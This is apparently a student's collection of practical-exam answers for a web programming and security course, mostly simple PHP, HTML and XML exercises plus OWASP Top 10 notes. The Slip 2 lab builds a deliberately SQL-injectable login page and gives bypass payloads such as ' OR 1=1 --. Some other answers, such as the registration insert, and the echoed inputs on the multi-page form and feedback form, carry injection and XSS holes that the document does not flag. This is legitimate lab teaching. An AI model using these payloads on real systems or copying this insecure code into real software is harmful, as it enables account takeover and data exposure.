□ SLIP 1 – Solutions

✅ Q1: Design a webpage for the following layout For Student profile – where student roll number, name, contact, photo, class and area of interest in column 2. In Colum 1 provide the hyperlinks for Home, Contact us and about us. (HTML)

👉 **Goal:**
Left side = links
Right side = student info

💻 Code:

```
<html>
<head>
<title>Student Profile</title>
</head>

<body>

<table border="1" width="100%">
<tr>

<!-- Column 1 -->
<td width="30%">
<a href="#">Home</a><br><br>
<a href="#">Contact Us</a><br><br>
<a href="#">About Us</a>
</td>

<!-- Column 2 -->
<td>
<h2>Student Profile</h2>
Roll No: 101 <br>
Name: Soham <br>
Contact: 9876543210 <br>
Class: TY Cyber <br>
Area of Interest: Cyber Security <br><br>

<img src="photo.jpg" width="100" height="100">
</td>

</tr>
</table>

</body>
</html>
```

✅ Q2: Create a login form with a username and password. Display “Welcome” message if username and password is same otherwise display “Invalid username or password” message. (PHP)

👉 **Logic:**
If username == password → Welcome
Else → Invalid

💻 Code:

```
<html>
<body>

<form method="post">
Username: <input type="text" name="username"><br><br>
Password: <input type="password" name="password"><br><br>
<input type="submit" value="Login">
</form>

<?php
if($_POST){
    $u = $_POST['username'];
    $p = $_POST['password'];

    if($u == $p){
        echo "Welcome";
    } else {
        echo "Invalid username or password";
    }
}
?>

</body>
</html>
```

□ SLIP 2 – Solutions

✅ Q1: Write a script to create XML file named “Subject.xml” Stored at least 3 records containing subject id, subject name, class, semester etc.

☞ **Goal:** Create XML with at least 3 records

💻 Code (PHP):

```
<?php


// Create XML object

$xml = new SimpleXMLElement('<Subjects/>');


// Add records

$subject1 = $xml->addChild('Subject');

$subject1->addChild('SubjectID', '101');

$subject1->addChild('SubjectName', 'Web Science');

$subject1->addChild('Class', 'TY');

$subject1->addChild('Semester', '6');


$subject2 = $xml->addChild('Subject');

$subject2->addChild('SubjectID', '102');

$subject2->addChild('SubjectName', 'Cyber Security');

$subject2->addChild('Class', 'TY');

$subject2->addChild('Semester', '6');
```

```
$subject3 = $xml->addChild('Subject');

$subject3->addChild('SubjectID', '103');

$subject3->addChild('SubjectName', 'Data Science');

$subject3->addChild('Class', 'TY');

$subject3->addChild('Semester', '6');


// Save file

$xml->asXML("Subject.xml");


echo "XML file created successfully";


?>
```

⚠ Q2: Using SQL injection attack on Login check whether you can log into another user’s account without knowing the correct password.

Got it, here's the clean text you can copy-paste straight into Word:

SQL Injection Attack on Login Form

Objective: To demonstrate how SQL Injection can be used to log into another user's account without knowing their password.

Step 1: Setup Database in XAMPP

Open phpMyAdmin at `http://localhost/phpmyadmin`, create a new database named `test_db`, and add a table called `users` with two columns: `username` and `password`. Insert a few sample records like admin, john, and sarah with any passwords.

Step 2: Create the Vulnerable Login Page

Save the following code as `login.php` inside `C:\xampp\htdocs\`:

```
<?php
$conn = mysqli_connect("localhost", "root", "", "test_db");

if (isset($_GET["login"])) {
    $username = $_GET["username"];
    $password = $_GET["password"];

    $sql = "SELECT * FROM users WHERE username='$username' AND
password='$password'";

    echo "Query: $sql <br><br>";

    $result = mysqli_query($conn, $sql);

    if ($result && mysqli_num_rows($result) == 1) {
        $user = mysqli_fetch_assoc($result);
        echo "<h2 style='color:green'>Login Successful as: " . $user['username'] . "</h2>";
    } else {
        echo "<h2 style='color:red'>Login Failed</h2>";
    }
}
?>

<form method="get">
    Username: <input name="username"><br><br>
    Password: <input name="password"><br><br>
    <button name="login">Login</button>
</form>
```

Step 3: Run the Application

Open browser and go to `http://localhost/login.php`

Step 4: SQL Injection Attacks

Attack 1 – Login as a specific user without password

Enter the following in the Username field (password can be anything):

- Login as admin → `admin' --`
- Login as john → `john' --`
- Login as sarah → `sarah' --`

The `--` comments out the rest of the query, so the password check is skipped.

Attack 2 – Login as ANY user

Enter `' OR 1=1 --` in the Username field. Since `1=1` is always true, the query returns the first user in the database and login succeeds.

Step 5: Proof

Normal login → Username: `john` | Password: `wrongpass` → LOGIN FAILED

SQL Injection → Username: `john' --` | Password: `anything` → LOGIN SUCCESSFUL as john

This proves we logged into john's account without knowing his password.

□ SLIP 5 – Solutions

✅ Q1: Design an application that accept the full name, contact number, email-id, password and confirm password. If password and confirm password matched the store accept data into database while storing password encrypt it.

◆ Aim:

To design a web application that accepts user details and stores encrypted password in database.

◆ Step 1: Start XAMPP

1. Open **XAMPP Control Panel**

2. Start:
    - Apache
    - MySQL

◆ Step 2: Open phpMyAdmin

Open browser and go to:

`http://localhost/phpmyadmin`

◆ Step 3: Create Database

1. Click **New**
2. Enter database name: `test`
3. Click **Create**

◆ Step 4: Create Table

1. Select database `test`
2. Create table:
    - Table name: `users`
    - Columns: 4

Table Structure:

Column	Type
Name	VARCHAR(50)
Contact	VARCHAR(15)
Email	VARCHAR(50)
password	VARCHAR(255)

◆ Step 5: PHP Application Code

```
<html>
<body>

<h2>User Registration</h2>

<form method="post">
Full Name: <input type="text" name="name"><br><br>
Contact No: <input type="text" name="contact"><br><br>
```

```
Email: <input type="text" name="email"><br><br>
Password: <input type="password" name="pass"><br><br>
Confirm Password: <input type="password" name="cpass"><br><br>

<input type="submit" value="Register">
</form>

<?php

$conn = mysqli_connect("localhost","root","","test");

if($_POST){

    $name = $_POST['name'];
    $contact = $_POST['contact'];
    $email = $_POST['email'];
    $pass = $_POST['pass'];
    $cpass = $_POST['cpass'];

    if($pass == $cpass){

        $enc = password_hash($pass, PASSWORD_DEFAULT);

        $sql = "INSERT INTO users(name,contact,email,password)
                VALUES('$name','$contact','$email','$enc')";

        mysqli_query($conn,$sql);

        echo "Registration Successful";

    } else {
        echo "Password does not match";
    }
}
?>

</body>
</html>
```

◆ Step 6: Run Application

1. Save file in:

```
C:\xampp\htdocs\register.php
```

2. Open browser:

```
http://localhost/register.php
```

3. Enter data → Submit

◆ Step 7: Output

- Data stored in database
- Password stored in encrypted form

◆ Conclusion:

User details are stored securely using password encryption.

✅ Q2: Design a webpage for the following layout For Student profile – where student roll number, name, contact, photo, class and area of interestin column 2. In Colum 1 provide the hyperlinks for Home, Contact us and about us.

◆ Aim:

To design a webpage showing student profile with navigation links.

◆ Code:

```
<html>
<body>

<table border="1" width="100%">
<tr>

<!-- Column 1 -->
<td width="30%">
<a href="#">Home</a><br><br>
<a href="#">Contact Us</a><br><br>
<a href="#">About Us</a>
</td>

<!-- Column 2 -->
<td>

<h2>Student Profile</h2>

Roll No: 101 <br>
Name: Soham <br>
Contact: 9876543210 <br>
Class: TY Cyber <br>
Area of Interest: Cyber Security <br><br>

<img src="photo.jpg" width="100" height="100">
```

```
</td>

</tr>
</table>

</body>
</html>
```

◆ Output:

- Left side → Navigation links
- Right side → Student details + photo

◆ Conclusion:

Webpage successfully displays student profile using HTML table layout.

□ SLIP 6

✅ Q1: Write a PHP program to write a program for find the given number is palindrome or not. (PHP)

☞ **Goal:**
Check number = same forward & backward

💻 Code:

```
<?php
$result = "";
if (isset($_GET["num"])) {
    $num = $_GET["num"];
    $rev = strrev($num);
    $result = ($num == $rev) ? "Palindrome" : "Not Palindrome";
}
?>
```

```
<!DOCTYPE html>
<html>
<head>
   <title>Palindrome Checker</title>
</head>
<body>
   <h2>Palindrome Checker</h2>
   <form method="get">
      <input type="number" name="num" placeholder="Enter a number">
      <button type="submit">Check</button>
   </form>

   <?php if ($result != "") { echo "<h3>$result</h3>"; } ?>
</body>
</html>
```

✅ Q2: Create a XML document which contains details of cars car like: id, company name, model engine and mileage and display the same as a table by using element by using XSLT.

👉 **Goal:**

- Create XML
- Display as table using XSLT

💻 XML (cars.xml):

```
<?xml version="1.0"?>
<Cars>

<Car>
    <ID>1</ID>
    <Company>Toyota</Company>
    <Model>Innova</Model>
    <Engine>2000cc</Engine>
    <Mileage>15kmpl</Mileage>
</Car>

<Car>
    <ID>2</ID>
    <Company>Honda</Company>
    <Model>City</Model>
    <Engine>1500cc</Engine>
    <Mileage>18kmpl</Mileage>
</Car>

</Cars>
```

💻 XSLT (cars.xsl):

```
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

<html>
<body>
<table border="1">
<tr>
<th>ID</th><th>Company</th><th>Model</th>
<th>Engine</th><th>Mileage</th>
</tr>

<xsl:for-each select="Cars/Car">
<tr>
<td><xsl:value-of select="ID"/></td>
<td><xsl:value-of select="Company"/></td>
<td><xsl:value-of select="Model"/></td>
<td><xsl:value-of select="Engine"/></td>
<td><xsl:value-of select="Mileage"/></td>
</tr>
</xsl:for-each>

</table>
</body>
</html>

</xsl:template>
</xsl:stylesheet>
```

□ SLIP 8

✅ Q1: Create an html page with 7 separate lines in different colors. State color of each line in its text.

☞ **Goal:**
7 lines, each with different color + mention color name

💻 Code:

```
<html>
<body>

<p style="color:red;">This is Red</p>
<p style="color:blue;">This is Blue</p>
<p style="color:green;">This is Green</p>
<p style="color:yellow;">This is Yellow</p>
<p style="color:orange;">This is Orange</p>
<p style="color:purple;">This is Purple</p>
<p style="color:brown;">This is Brown</p>

</body>
</html>
```

✅ Q2: Design an application to accept username and password. While accepting password check whether is it made of numbers, alphabets, special symbols and password length should be greater than 8. If password is as per requirement, then print “You enter red strong password” else print error message “Enter complex password”.

☞ Same logic as Slip 4)

💻 Code:

```
<html>
<body>

<h2>Password Validation</h2>

<form method="post">
Enter Password:
<input type="password" name="password"><br><br>

<input type="submit" value="Check Password">
</form>

<?php
```

```
if($_POST){

   $password = $_POST['password'];

   if(strlen($password) > 8 &&
      preg_match("/[A-Za-z]/", $password) &&
      preg_match("/[0-9]/", $password) &&
      preg_match("/[@$!%*#?&]/", $password)){

       echo "You entered strong password";
   } else {
       echo "Enter complex password";
   }
}
?>

</body>
</html>
```

□ SLIP 9

✅ Q1:

Design a HTML form for Bus Ticket Reservation consisting of fields for Name, Address, contact no, source station (Dropdown list), Destination station, Date of booking, date of journey, no of passenger, name of passenger, gender of passenger etc. (Use proper alignment)

💻 Answer:

```
<html>
<body>

<h2>Bus Ticket Reservation</h2>

<form>

Name: <input type="text"><br><br>
Address: <input type="text"><br><br>
Contact No: <input type="text"><br><br>

Source:
<select>
<option>Pune</option>
<option>Mumbai</option>
<option>Nashik</option>
```

```
</select><br><br>

Destination:
<select>
<option>Pune</option>
<option>Mumbai</option>
<option>Nashik</option>
</select><br><br>

Date of Booking: <input type="date"><br><br>
Date of Journey: <input type="date"><br><br>

No. of Passengers: <input type="number"><br><br>

Passenger Name: <input type="text"><br><br>

Gender:
<input type="radio" name="g">Male
<input type="radio" name="g">Female<br><br>

<input type="submit" value="Book Ticket">

</form>

</body>
</html>
```

✅ Q2:

Design an HTML form for customer registration visiting a departmental store. Form should consist of fields such as name, contact no, gender, preferred days of purchasing, favorite item (to be selected from a list of items), suggestions etc. Provide submit and reset buttons.

💻 Answer:

```
<html>
<body>

<h2>Customer Registration</h2>

<form>

Name: <input type="text"><br><br>
Contact No: <input type="text"><br><br>

Gender:
<input type="radio" name="g">Male
<input type="radio" name="g">Female<br><br>

Preferred Days:
<input type="checkbox">Monday
<input type="checkbox">Weekend<br><br>
```

```
Favorite Item:
<select>
<option>Clothes</option>
<option>Electronics</option>
<option>Groceries</option>
</select><br><br>

Suggestions:<br>
<textarea></textarea><br><br>

<input type="submit" value="Submit">
<input type="reset" value="Reset">

</form>

</body>
</html>
```

□ SLIP 10

✅ Q1:

Write a script that generates an XML file named “Student.xml” containing at least 5 student records. Each record should include: Student ID, Student Name, Age, Gender, Program

---

💻 Answer (XML):

```
<?php

$xml = new SimpleXMLElement('<Students/>');

// Student 1
$s1 = $xml->addChild('Student');
$s1->addChild('ID', '1');
$s1->addChild('Name', 'Soham');
$s1->addChild('Age', '20');
$s1->addChild('Gender', 'Male');
$s1->addChild('Program', 'Cyber');

// Student 2
$s2 = $xml->addChild('Student');
$s2->addChild('ID', '2');
$s2->addChild('Name', 'Rahul');
$s2->addChild('Age', '21');
$s2->addChild('Gender', 'Male');
$s2->addChild('Program', 'IT');

// Student 3
```

```
$s3 = $xml->addChild('Student');
$s3->addChild('ID', '3');
$s3->addChild('Name', 'Priya');
$s3->addChild('Age', '20');
$s3->addChild('Gender', 'Female');
$s3->addChild('Program', 'CS');

// Student 4
$s4 = $xml->addChild('Student');
$s4->addChild('ID', '4');
$s4->addChild('Name', 'Anjali');
$s4->addChild('Age', '22');
$s4->addChild('Gender', 'Female');
$s4->addChild('Program', 'AI');

// Student 5
$s5 = $xml->addChild('Student');
$s5->addChild('ID', '5');
$s5->addChild('Name', 'Amit');
$s5->addChild('Age', '21');
$s5->addChild('Gender', 'Male');
$s5->addChild('Program', 'Data Science');

// Save file
$xml->asXML("Student.xml");

echo "XML Created";

?>
```

✅ Q2:

Write a script to create an XML file called “Employees.xml” containing records for 5 employees. Each record should contain: Employee ID, Name, Position, Department, Date of Joining

---

💻 Answer (PHP):

```
<?php

$xml = new SimpleXMLElement('<Employees/>');

// Employee 1
$e1 = $xml->addChild('Employee');
$e1->addChild('ID', '101');
$e1->addChild('Name', 'Soham');
$e1->addChild('Position', 'Developer');
$e1->addChild('Department', 'IT');
$e1->addChild('DOJ', '2023-01-10');

// Employee 2
```

```
$e2 = $xml->addChild('Employee');
$e2->addChild('ID', '102');
$e2->addChild('Name', 'Rahul');
$e2->addChild('Position', 'Manager');
$e2->addChild('Department', 'HR');
$e2->addChild('DOJ', '2022-05-15');

// Employee 3
$e3 = $xml->addChild('Employee');
$e3->addChild('ID', '103');
$e3->addChild('Name', 'Priya');
$e3->addChild('Position', 'Analyst');
$e3->addChild('Department', 'Finance');
$e3->addChild('DOJ', '2023-03-20');

// Employee 4
$e4 = $xml->addChild('Employee');
$e4->addChild('ID', '104');
$e4->addChild('Name', 'Anjali');
$e4->addChild('Position', 'Tester');
$e4->addChild('Department', 'QA');
$e4->addChild('DOJ', '2024-02-01');

// Employee 5
$e5 = $xml->addChild('Employee');
$e5->addChild('ID', '105');
$e5->addChild('Name', 'Amit');
$e5->addChild('Position', 'Support');
$e5->addChild('Department', 'IT');
$e5->addChild('DOJ', '2023-07-12');

// Save file
$xml->asXML("Employees.xml");

echo "XML Created";

?>
```

□ SLIP 11

✅ Q1:

Write a PHP script to accept username and password. If in the first three chances, username and password entered is correct then display second form with “Welcome message” otherwise display error message. [Use Session]

💻 Answer (PHP with Session):

```
<?php
session_start();

// correct credentials
$correct_user = "admin";
$correct_pass = "1234";

// attempt count
if(!isset($_SESSION['attempt'])){
    $_SESSION['attempt'] = 0;
}

if($_POST){
    $u = $_POST['username'];
    $p = $_POST['password'];

    if($u == $correct_user && $p == $correct_pass){
        echo "<h2>Welcome</h2>";
        session_destroy();
    } else {
        $_SESSION['attempt']++;

        if($_SESSION['attempt'] < 3){
            echo "Invalid Login. Attempts: " . $_SESSION['attempt'];
        } else {
            echo "Account Blocked";
        }
    }
}
?>

<form method="post">
Username: <input type="text" name="username"><br><br>
Password: <input type="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
```

✅ Q2:

Write a PHP script to accept Employee details (Eno, Ename, Address) on first page. On second page accept earning (Basic, DA, HRA). On third page print Employee information (Eno, Ename, Address, Basic, DA, HRA, Total)

☞ 3 Pages concept (keep it simple)

💻 Page 1 (employee.php)

```
<form action="page2.php" method="post">
Eno: <input type="text" name="eno"><br>
Name: <input type="text" name="name"><br>
Address: <input type="text" name="address"><br>
<input type="submit" value="Next">
</form>
```

💻 Page 2 (page2.php)

```
<form action="page3.php" method="post">
<input type="hidden" name="eno" value="<?php echo $_POST['eno']; ?>">
<input type="hidden" name="name" value="<?php echo $_POST['name']; ?>">
<input type="hidden" name="address" value="<?php echo $_POST['address'];
?>">

Basic: <input type="text" name="basic"><br>
DA: <input type="text" name="da"><br>
HRA: <input type="text" name="hra"><br>

<input type="submit" value="Submit">
</form>
```

💻 Page 3 (page3.php)

```
<?php

$eno = $_POST['eno'];
$name = $_POST['name'];
$address = $_POST['address'];

$basic = $_POST['basic'];
$da = $_POST['da'];
$hra = $_POST['hra'];

$total = $basic + $da + $hra;

echo "Eno: $eno <br>";
echo "Name: $name <br>";
echo "Address: $address <br>";
echo "Total Salary: $total";

?>
```

□ SLIP 12 – Complete (Questions + Answers)

✅ Q1:

Design HTML form to accept dimension of a cylinder and write a PHP script to calculate the area and volume of Cylinder using a function.

💻 Answer:

🔷 *HTML + PHP:*

```
<html>
<body>

<form method="post">
Radius: <input type="text" name="r"><br><br>
Height: <input type="text" name="h"><br><br>
<input type="submit" value="Calculate">
</form>

<?php
function cylinder($r, $h){
    $area = 2 * 3.14 * $r * ($r + $h);
    $volume = 3.14 * $r * $r * $h;

    echo "Surface Area: $area <br>";
    echo "Volume: $volume";
}

if($_POST){
    $r = $_POST['r'];
    $h = $_POST['h'];
    cylinder($r, $h);
}
?>

</body>
</html>
```

.

✅ Q2:

Design HTML form to accept two strings and following three options (use radio button) and write a PHP script to perform:
a) Compare 2 strings
b) Convert string into Uppercase
c) Convert string into Lowercase

💻 Answer:

```
<html>
<body>

<form method="post">
String 1: <input type="text" name="s1"><br><br>
String 2: <input type="text" name="s2"><br><br>

<input type="radio" name="op" value="compare">Compare<br>
<input type="radio" name="op" value="upper">Uppercase<br>
<input type="radio" name="op" value="lower">Lowercase<br><br>

<input type="submit" value="Submit">
</form>

<?php
if($_POST){
    $s1 = $_POST['s1'];
    $s2 = $_POST['s2'];
    $op = $_POST['op'];

    if($op == "compare"){
        if($s1 == $s2){
            echo "Strings are Equal";
        } else {
            echo "Strings are Not Equal";
        }
    }

    if($op == "upper"){
        echo strtoupper($s1);
    }

    if($op == "lower"){
        echo strtolower($s1);
    }
}
?>

</body>
</html>
```

□ SLIP 13 – Complete (Questions + Answers)

✅ Q1:

Design a HTML form to accept a number and write a PHP script to display each digit of a number in words.

💻 Answer:

```
<html>
<body>

<form method="post">
Enter Number: <input type="text" name="num"><br><br>
<input type="submit" value="Convert">
</form>

<?php
if($_POST){
    $num = $_POST['num'];

    $words = [
        '0'=>"Zero", '1'=>"One", '2'=>"Two", '3'=>"Three",
        '4'=>"Four", '5'=>"Five", '6'=>"Six",
        '7'=>"Seven", '8'=>"Eight", '9'=>"Nine"
    ];

    $digits = str_split($num);

    foreach($digits as $d){
        echo $words[$d] . " ";
    }
}
?>

</body>
</html>
```

✅ Q2:

Design a HTML form to accept a number and write a PHP script to display each digit of a number in words.

👉 ⚠ Same question repeated → just rewrite Q1 answer

□ SLIP 14

✅ Q1:

Create a PHP program where the user can select items from a product list (e.g., books, pens, or bags) and input quantities. Display:

- Selected items with unit price
- Total quantity
- Total cost

💻 Answer:

```
<html>
<body>

<form method="post">

Book (100): <input type="number" name="book"><br><br>
Pen (20): <input type="number" name="pen"><br><br>
Bag (500): <input type="number" name="bag"><br><br>

<input type="submit" value="Calculate">

</form>

<?php
if($_POST){

    $book = $_POST['book'];
    $pen = $_POST['pen'];
    $bag = $_POST['bag'];

    $total_qty = $book + $pen + $bag;
    $total_cost = ($book*100) + ($pen*20) + ($bag*500);

    echo "Total Quantity: $total_qty <br>";
    echo "Total Cost: $total_cost";

}
?>

</body>
</html>
```

✅ Q2:

Explain OWASP Top 10 threats for web (introduction)

Explain in detail in exam if needed

✍ Answer:

OWASP Top 10 — 2025

A01 — Broken Access Control *(same position)* Users accessing resources beyond their permissions. SSRF is now merged into this category.

A02 — Security Misconfiguration *(up from A05)* Moved up to second place — misconfigs now occur across cloud environments, containers, API gateways, and auth solutions.

A03 — Software Supply Chain Failures *(NEW — replaces Vulnerable & Outdated Components)* An expansion that covers a broader scope of compromises across the entire ecosystem of software dependencies, build systems, and distribution infrastructure.

A04 — Insecure Design *(same)* Security flaws in architecture and design, not just implementation.

A05 — Cryptographic Failures *(same)* Weak or missing encryption exposing sensitive data.

A06 — Injection *(down from A03)* SQL, NoSQL, command injection etc. Classic SQLi is becoming less dominant.

A07 — Identification & Authentication Failures *(same)* Broken login mechanisms, no MFA, weak session management.

A08 — Software and Data Integrity Failures *(same)* Insecure CI/CD pipelines, unverified updates, deserialization issues.

A09 — Security Logging & Monitoring Failures *(same)* No proper logs or alerts on suspicious activity.

A10 — Mishandling of Exceptional Conditions *(NEW)* Occurs when programs fail to prevent, detect, or respond to unusual or unpredictable situations, leading to crashes, unexpected behavior, or vulnerabilities.

□ SLIP 15

✅ Q1:

Write a short report explaining:
a) The identified threat
b) How the threat was exploited
c) The steps you took to mitigate the vulnerability

✍ Answer:

a) Identified Threat:
The identified threat is **SQL Injection**, where an attacker inserts malicious SQL queries into input fields.

---

b) Exploitation:
The attacker enters input like `' OR 1=1 --` in the login form.
This bypasses authentication and allows unauthorized access.

---

c) Mitigation Steps:

- Use prepared statements
- Validate user input
- Use parameterized queries
- Apply proper authentication
- Use web application firewall

✅ Q2:

Write a script to create an XML file called "Timetable.xml" containing 3 records for a weekly class timetable. Each record should include:

- Day
- Class Name
- Instructor
- Time Slot
- Classroom**

💻 Answer (PHP):

```
<?php


$xml = new SimpleXMLElement('<Timetable/>');


// Record 1
```

```
$c1 = $xml->addChild('Class');
$c1->addChild('Day', 'Monday');
$c1->addChild('ClassName', 'Web Science');
$c1->addChild('Instructor', 'Prof. A');
$c1->addChild('Time', '10:00 AM');
$c1->addChild('Room', '101');

// Record 2
$c2 = $xml->addChild('Class');
$c2->addChild('Day', 'Tuesday');
$c2->addChild('ClassName', 'Cyber Security');
$c2->addChild('Instructor', 'Prof. B');
$c2->addChild('Time', '12:00 PM');
$c2->addChild('Room', '102');

// Record 3
$c3 = $xml->addChild('Class');
$c3->addChild('Day', 'Wednesday');
$c3->addChild('ClassName', 'Data Science');
$c3->addChild('Instructor', 'Prof. C');
$c3->addChild('Time', '2:00 PM');
$c3->addChild('Room', '103');

// Save file
```

```
$xml->asXML("Timetable.xml");


echo "XML Created";


?>
```

□ SLIP 16

✅ Q1:

Using SQL injection attack on Login checks whether you can log into another user's account without knowing the correct password.

💻 Answer:

Same as above question in the slip 2 q2

✅ Q2:

Write a short note on Burp Suite Scanner with an example.

✍ Answer:

Burp Suite Scanner is a tool used to find security vulnerabilities in web applications.
It automatically scans websites for issues like SQL Injection, XSS, etc.

◆ Features:

- Automated scanning
- Detects vulnerabilities

- Intercepts HTTP requests
- Provides detailed reports

◆ Example:

While testing a login page, Burp Suite Scanner detects a **SQL Injection vulnerability** in the username field.

□ Exam line:

☞ Burp Suite Scanner is used to identify web vulnerabilities automatically.

□ SLIP 17 – Complete (Questions + Answers)

✅ Q1:

Create a PHP program where the user can select items from a product list (e.g., books, pens, or bags) and input quantities. Display:

- Selected items with their unit price
- Total quantity
- Total cost**

☞ ⚠ Same as Slip 14

💻 Answer:

```
<html>
<body>

<form method="post">

Book (100): <input type="number" name="book"><br><br>
```

```
Pen (20): <input type="number" name="pen"><br><br>
Bag (500): <input type="number" name="bag"><br><br>

<input type="submit" value="Calculate">

</form>

<?php
if($_POST){

    $book = $_POST['book'];
    $pen = $_POST['pen'];
    $bag = $_POST['bag'];

    $total_qty = $book + $pen + $bag;
    $total_cost = ($book*100) + ($pen*20) + ($bag*500);

    echo "Total Quantity: $total_qty <br>";
    echo "Total Cost: $total_cost";
}
?>

</body>
</html>
```

✅ Q2:

Write a script to generate an XML file called "CourseRegistrations.xml" that stores 5 records of students registering for courses. Each record should contain:

- Registration ID
- Student Name
- Course Name
- Instructor
- Date of Registration**

💻 Answer (PHP):

```
<?php



$xml = new SimpleXMLElement('<CourseRegistrations/>');



// Record 1

$r1 = $xml->addChild('Registration');
```

```
$r1->addChild('ID', '1');
$r1->addChild('StudentName', 'Soham');
$r1->addChild('CourseName', 'Cyber Security');
$r1->addChild('Instructor', 'Prof. A');
$r1->addChild('Date', '2024-01-10');

// Record 2
$r2 = $xml->addChild('Registration');
$r2->addChild('ID', '2');
$r2->addChild('StudentName', 'Rahul');
$r2->addChild('CourseName', 'Web Science');
$r2->addChild('Instructor', 'Prof. B');
$r2->addChild('Date', '2024-01-12');

// Record 3
$r3 = $xml->addChild('Registration');
$r3->addChild('ID', '3');
$r3->addChild('StudentName', 'Priya');
$r3->addChild('CourseName', 'Data Science');
$r3->addChild('Instructor', 'Prof. C');
$r3->addChild('Date', '2024-01-15');

// Record 4
$r4 = $xml->addChild('Registration');
```

```
$r4->addChild('ID', '4');
$r4->addChild('StudentName', 'Anjali');
$r4->addChild('CourseName', 'AI');
$r4->addChild('Instructor', 'Prof. D');
$r4->addChild('Date', '2024-01-18');

// Record 5
$r5 = $xml->addChild('Registration');
$r5->addChild('ID', '5');
$r5->addChild('StudentName', 'Amit');
$r5->addChild('CourseName', 'Cloud Computing');
$r5->addChild('Instructor', 'Prof. E');
$r5->addChild('Date', '2024-01-20');

// Save file
$xml->asXML("CourseRegistrations.xml");

echo "XML Created";

?>
```

□ SLIP 21

✅ Q1:

Design HTML form to accept a number and write a PHP script to calculate the factorial of a number using function.

💻 Answer:

```
<html>
<body>

<form method="post">
Enter Number: <input type="text" name="num"><br><br>
<input type="submit" value="Calculate">
</form>

<?php
function factorial($n){
    $fact = 1;
    for($i=1; $i<=$n; $i++){
        $fact *= $i;
    }
    return $fact;
}

if($_POST){
    $num = $_POST['num'];
    echo "Factorial = " . factorial($num);
}
?>

</body>
</html>
```

✅ Q2:

Write a short note on OWASP ZAP scanner and give one example.

✍ Answer:

OWASP ZAP (Zed Attack Proxy) is a web security testing tool used to find vulnerabilities in web applications.

◆ Features:

- Intercepts HTTP requests

- Automated vulnerability scanning
- Detects SQL Injection, XSS
- Free and open-source

◆ Example:

While testing a website, ZAP detects a **Cross-Site Scripting (XSS)** vulnerability in a search input field.

□ SLIP 22

✅ Q1:

Write down OWASP Top 10 threats for API.

OWASP API Security Top 10 — 2023 *(Latest official version)*

API1 — Broken Object Level Authorization (BOLA) APIs expose endpoints that handle object identifiers. Attackers manipulate the ID in the request to access another user's data. Most common and critical API vulnerability. Example: Changing `/api/orders/123` to `/api/orders/124` to see someone else's order.

API2 — Broken Authentication Weak or missing authentication mechanisms on API endpoints. Missing tokens, accepting invalid tokens, no expiry on tokens, credentials exposed in URLs.

API3 — Broken Object Property Level Authorization Even if object access is authorized, the API returns more fields than needed (over-exposure) or allows users to modify fields they shouldn't (mass assignment). Example: API returns password hash along with user profile data.

API4 — Unrestricted Resource Consumption No rate limiting on API requests — allows brute force, DoS attacks, or running up cloud costs. Missing limits on file size, request size, or number of operations.

API5 — Broken Function Level Authorization (BFLA) Regular users can access admin-level API functions just by calling the endpoint directly. Example: A normal user calling `DELETE /api/admin/users/5`.

API6 — Unrestricted Access to Sensitive Business Flows APIs expose business flows (checkout, OTP request, ticket booking) without any abuse prevention. Attackers can automate these flows for fraud or scalping.

API7 — Server Side Request Forgery (SSRF) The API fetches a remote resource based on user-supplied URL without validation. Attacker tricks the server into making requests to internal services or cloud metadata endpoints.

API8 — Security Misconfiguration Default credentials, unnecessary HTTP methods enabled, verbose error messages, missing security headers, open CORS policy, unpatched systems.

API9 — Improper Inventory Management Old or deprecated API versions left running, undocumented endpoints, test/debug endpoints exposed in production. Attackers target these forgotten endpoints.

API10 — Unsafe Consumption of APIs The application blindly trusts data from third-party APIs without validation. If the third-party API is compromised, malicious data flows into your system unchecked.

✅ Q2:

Design an application to accept username and password. While accepting password check whether it contains numbers, alphabets, special symbols and length > 8. If valid → "strong password", else → "Enter complex password".

💻 Answer:

```
<html>
<body>

<form method="post">
Username: <input type="text" name="user"><br><br>
Password: <input type="password" name="pass"><br><br>
<input type="submit" value="Check">
</form>

<?php
if($_POST){

    $pass = $_POST['pass'];

    if(strlen($pass) > 8 &&
       preg_match("/[A-Za-z]/", $pass) &&
       preg_match("/[0-9]/", $pass) &&
       preg_match("/[@$!%*#?&]/", $pass)){

        echo "You entered strong password";
    } else {
        echo "Enter complex password";
    }
}
?>

</body>
</html>
```

□ SLIP 23

□ ✅ Q1: Q.1. Design a webpage for an Employee Profile, where the second column contains the employee details .

```
<html>
<body>

<table border="1" width="100%">
<tr>
```

```
<!-- Column 1 -->
<td width="30%">
<h3>Menu</h3>
<a href="#">Home</a><br><br>
<a href="#">About Us</a><br><br>
<a href="#hr">Contact HR</a>
</td>

<!-- Column 2 -->
<td>

<h2>Employee Profile</h2>

<table>
<tr><td>ID:</td><td>101</td></tr>
<tr><td>Name:</td><td>Soham</td></tr>
<tr><td>Designation:</td><td>Developer</td></tr>
<tr><td>Department:</td><td>IT</td></tr>
<tr><td>Email:</td><td>soham@gmail.com</td></tr>
</table>

<br>

<img src="photo.jpg" width="120"><br><br>

<!-- HR DETAILS -->
<h3 id="hr">HR Department Details</h3>

<table border="1">
<tr><th>Department</th><th>Email</th><th>Phone</th></tr>
<tr>
<td>HR</td>
<td>hr@company.com</td>
<td>9876543210</td>
</tr>
</table>

<br>

<!-- FORM -->
<h3>Add New Employee</h3>

<form>
<table>

<tr><td>Name:</td><td><input type="text"></td></tr>
<tr><td>Employee ID:</td><td><input type="text"></td></tr>
<tr><td>Designation:</td><td><input type="text"></td></tr>
<tr><td>Department:</td><td><input type="text"></td></tr>
<tr><td>Email:</td><td><input type="text"></td></tr>
<tr><td>Phone:</td><td><input type="text"></td></tr>

<tr>
<td colspan="2">
<input type="submit" value="Submit">
</td>
</tr>

</table>
</form>
```

```
</td>

</tr>
</table>

</body>
</html>
```

□ ✅ Q2: Create a feedback form

```
<html>
<body>

<h2>Feedback Form</h2>

<form method="post">
Name: <input type="text" name="name"><br><br>
Email: <input type="text" name="email"><br><br>

Feedback:<br>
<textarea name="msg"></textarea><br><br>

Rating:
<select name="rate">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select><br><br>

<input type="submit" value="Submit">
</form>

<?php
if($_POST){

    $name = $_POST['name'];
    $email = $_POST['email'];
    $msg = $_POST['msg'];
    $rate = $_POST['rate'];

    echo "<h3>Feedback Details</h3>";
    echo "Name: $name <br>";
